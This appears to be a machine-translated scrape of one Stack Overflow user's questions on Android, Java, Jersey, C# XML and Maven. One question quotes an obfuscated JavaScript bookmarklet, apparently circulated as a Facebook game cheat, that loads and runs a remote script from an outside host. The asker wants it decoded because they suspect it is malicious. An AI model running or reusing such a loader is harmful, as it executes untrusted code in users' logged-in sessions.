小编Dan*_*tik的帖子

Android - 编写自定义(复合)组件

我正在开发的Android应用程序的主要活动已经变得非常大.这主要是因为它包含TabWidget3个选项卡.每个选项卡都有很多组件.活动必须立即控制所有这些组件.所以我认为你可以想象这个Activity有20个字段(几乎每个组件都有一个字段).它还包含许多逻辑(单击侦听器,填充列表的逻辑等).

我通常在基于组件的框架中做的是将所有内容拆分为自定义组件.然后,每个自定义组件都有明确的责任.它将包含它自己的一组组件以及与该组件相关的所有其他逻辑.

我试图弄清楚如何做到这一点,我在Android文档中发现了他们喜欢称之为"复合控制"的东西.(请参阅http://developer.android.com/guide/topics/ui/custom-components.html#compound并滚动到"复合控件"部分)我想基于XML文件创建这样一个组件来定义查看结构.

在文档中它说:

请注意,就像使用Activity一样,您可以使用声明式(基于XML)方法来创建包含的组件,也可以从代码中以编程方式嵌套它们.

嗯,这是个好消息!基于XML的方法正是我想要的!但它没有说明如何做到这一点,除了它"像一个活动"...但我在一个活动中做的是调用setContentView(...)从XML膨胀视图.如果您是子类,那么该方法不可用LinearLayout.

所以我尝试像这样手动扩充XML:

public class MyCompoundComponent extends LinearLayout {

    public MyCompoundComponent(Context context, AttributeSet attributeSet) {
        super(context, attributeSet);
        LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
        inflater.inflate(R.layout.my_layout, this);
    }
}
Run Code Online (Sandbox Code Playgroud)

这是有效的,除了我正在加载的XML已LinearLayout声明为根元素的事实.这导致被夸大LinearLayout的孩子MyCompoundComponent本身已经是一个LinearLayout!! 所以现在我们之间有一个冗余的LinearLayout MyCompoundComponent和它实际需要的视图.

有人可以请给我一个更好的方法来解决这个问题,避免LinearLayout实例化冗余吗?

java android custom-component

131
推荐指数
1
解决办法
3万
查看次数

以编程方式向布局添加按钮

我在向XML创建的布局中添加按钮时遇到了问题.这就是我想要实现的目标:

//some class
else {
        startActivity(new Intent(StatisticsScreen.this, ScreenTemperature.class));
}
////

//ScreenTemperatureClass
@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    //this is where I call another class that
    //displays a nice graph
    setContentView(new GraphTemperature(getApplicationContext()));

}
Run Code Online (Sandbox Code Playgroud)

我想在Button这个新屏幕上添加一个,以便它显示在图表下方.我已经尝试创建一个LinearLayout视图,然后创建一个Button并将其添加到此视图但我只是得到了NullPointerException...

任何帮助,将不胜感激.谢谢

编辑#1

这是我尝试使用的创建了一个NullPointerException'强制关闭':

Button buybutton;
LinearLayout layout;

@Override
public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    setContentView(new GraphTemperature(getApplicationContext()));

    layout = (LinearLayout) findViewById(R.id.statsviewlayout);
    Button buyButton = new Button(this);
    buyButton.setText(R.string.button_back);
    buyButton.setLayoutParams(new LayoutParams(
        ViewGroup.LayoutParams.WRAP_CONTENT,
            ViewGroup.LayoutParams.WRAP_CONTENT));
    layout.addView(buyButton);

}
Run Code Online (Sandbox Code Playgroud)

这是logcat错误:

ERROR/AndroidRuntime(293): java.lang.RuntimeException: Unable …
Run Code Online (Sandbox Code Playgroud)

android button android-activity

34
推荐指数
2
解决办法
14万
查看次数

泽西/杰克逊:如何捕捉json映射异常?

我想在我的restful服务中捕获json映射异常,以防输入json无效.

它抛出org.codehaus.jackson.map.JsonMappingException,但我不知道如何或在哪里捕获此异常.我想捕获此异常并发回适当的错误响应.

@JsonInclude(JsonInclude.Include.NON_NULL)
@Generated("org.jsonschema2pojo")
@JsonPropertyOrder({
        "name",
        "id"
})
public class Customer {
    @JsonProperty("name")
    private String name;

    @JsonProperty("id")
    private String id;
     <setter/getter code>
}

public class MyService {
   @POST
    @Consumes(MediaType.APPLICATION_JSON)
    public final Response createCustomer(@Context HttpHeaders headers,
            Customer customer) {
        System.out.println("Customer data: " + customer.toString());
        return Response.ok("customer created").build();
    }
}
Run Code Online (Sandbox Code Playgroud)

一切都很好,但如果json体形状不好那么就会抛出JsonMappingException异常.我想抓住这个例外.

java json jersey

18
推荐指数
1
解决办法
1万
查看次数

有人可以解密这个JavaScript

我发现它在一个论坛告诉我这个代码会给我自己玩Facebook游戏,但我担心这不是他们说的,我担心这是恶意脚本

请帮忙 :)

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
Run Code Online (Sandbox Code Playgroud)

javascript

9
推荐指数
2
解决办法
5028
查看次数

使用C#中的德语小数分隔符对XML进行XML反序列化

我正在尝试Movie从"德语"xml字符串反序列化对象:

string inputString = "<?xml version=\"1.0\"?>"
    + "<movie title=\"Great Bollywood Stuff\">"
    + "<rating>5</rating>"
    + "<price>1,99</price>" // <-- Price with German decimal separator!
    + "</movie>";

XmlSerializer movieSerializer = new XmlSerializer(typeof(Movie));
Movie inputMovie;

using (StringReader sr = new StringReader(inputString))
{
    inputMovie = (Movie)movieSerializer.Deserialize(sr);
}
System.Console.WriteLine(inputMovie);
Run Code Online (Sandbox Code Playgroud)

这里的Movie课程供参考:

[XmlRoot("movie")]
public class Movie
{

    [XmlAttribute("title")]
    public string Title { get; set; }

    [XmlElement("rating")]
    public int Rating { get; set; }

    [XmlElement("price")]
    public double Price { get; set; }

    public Movie()
    { …
Run Code Online (Sandbox Code Playgroud)

c# xml serialization localization xml-deserialization

9
推荐指数
2
解决办法
5876
查看次数

如何测试WP7应用程序?

是否有可能构建我们的应用程序的Ad Hoc构建并将其发送给我们的beta测试人员?这甚至可能吗?

beta beta-testing windows-phone-7

7
推荐指数
2
解决办法
2857
查看次数

在运行时maven中找不到依赖项

我是maven的新手,也是java的新手.尝试谷歌和相关的来源,但我没有找到一个类似我的情况.

现在,我有maven项目XY.X可以看作是一个带有一些实用程序的共享库,Y是一个简单JFrame"hello world"打印和调用静态方法X.

maven install在项目上做了"run as " X,我得到了一个"build successful".我在项目X中添加项目作为依赖项Y(在Eclipse中使用pom-editor,浏览存储库并找到它).我maven package在项目上做了"run as " Y,我得到了一个"build successful".在Y通过java -jar或检查生产的jar 运行项目时,X到处都缺少项目,我得到了一个没有找到异常的花哨类.Eclipse找到它并且源编辑器中没有编译错误.

为什么它只在Eclipse编辑器中工作而不是jar?

POM:

    <dependency>
        <groupId>com.company.deployment.shared</groupId>
        <artifactId>com.company.deployment.shared</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <scope>compile</scope>
    </dependency>
Run Code Online (Sandbox Code Playgroud)

java maven-2

7
推荐指数
1
解决办法
1万
查看次数

Android O HIDL不可用

我有Android O HIDL的问题.失败日志显示它无法找到服务.

但是我可以看到它 adb shell ps -A | grep fingerprint

system       18758     1   17408   3276 pipe_wait  7c79e93e08 R android.hardware.biometrics.fingerprint@2.1-service`
Run Code Online (Sandbox Code Playgroud)

任何人都可以给我一个如何解决问题的提示吗?我检查了https://source.android.com/devices/architecture/hidl/但无法获得解决方案.

错误日志:

08-21 06:00:35.864  1890  2264 V FingerprintService: mDeamon was null, reconnect to fingerprint
08-21 06:00:35.864  1890  2264 I system_server: Looking for service android.hardware.biometrics.fingerprint@2.1::IBiometricsFingerprint/default
08-21 06:00:35.864  2240  2240 D wpa_supplicant: nl80211: Set mode ifindex 24 iftype 2 (STATION)
08-21 06:00:35.866   566   566 W /system/bin/hwservicemanager: getTransportFromManifest: Cannot find entry android.hardware.biometrics.fingerprint@2.1::IBiometricsFingerprint in either framework or device manifest, using default transport. …
Run Code Online (Sandbox Code Playgroud)

android hal android-source android-hardware android-8.0-oreo

6
推荐指数
2
解决办法
7410
查看次数

如何更改所选文字的颜色?

请左键单击并拖动此文本(标记).您看到的颜色是蓝色,我想使用Javascript或HTML/CSS将该颜色更改为深绿色?

html css

3
推荐指数
1
解决办法
1454
查看次数

创建适配器以使用对象填充Spinner

我有一个Android应用程序,Spinner并希望用我自己的对象动态填充它.这些对象确实已经存在List<T>.

对象的类型Category如下:

public class Category implements Serializable {
    private Long id;
    private String name;

    // constructors
    // getter & setter
    // hashCode, equals
    // toString
}
Run Code Online (Sandbox Code Playgroud)

我知道我必须写一个适配器.我怎么做?我试图找一些例子......没有运气.请指教.

android object adapter spinner

3
推荐指数
1
解决办法
3万
查看次数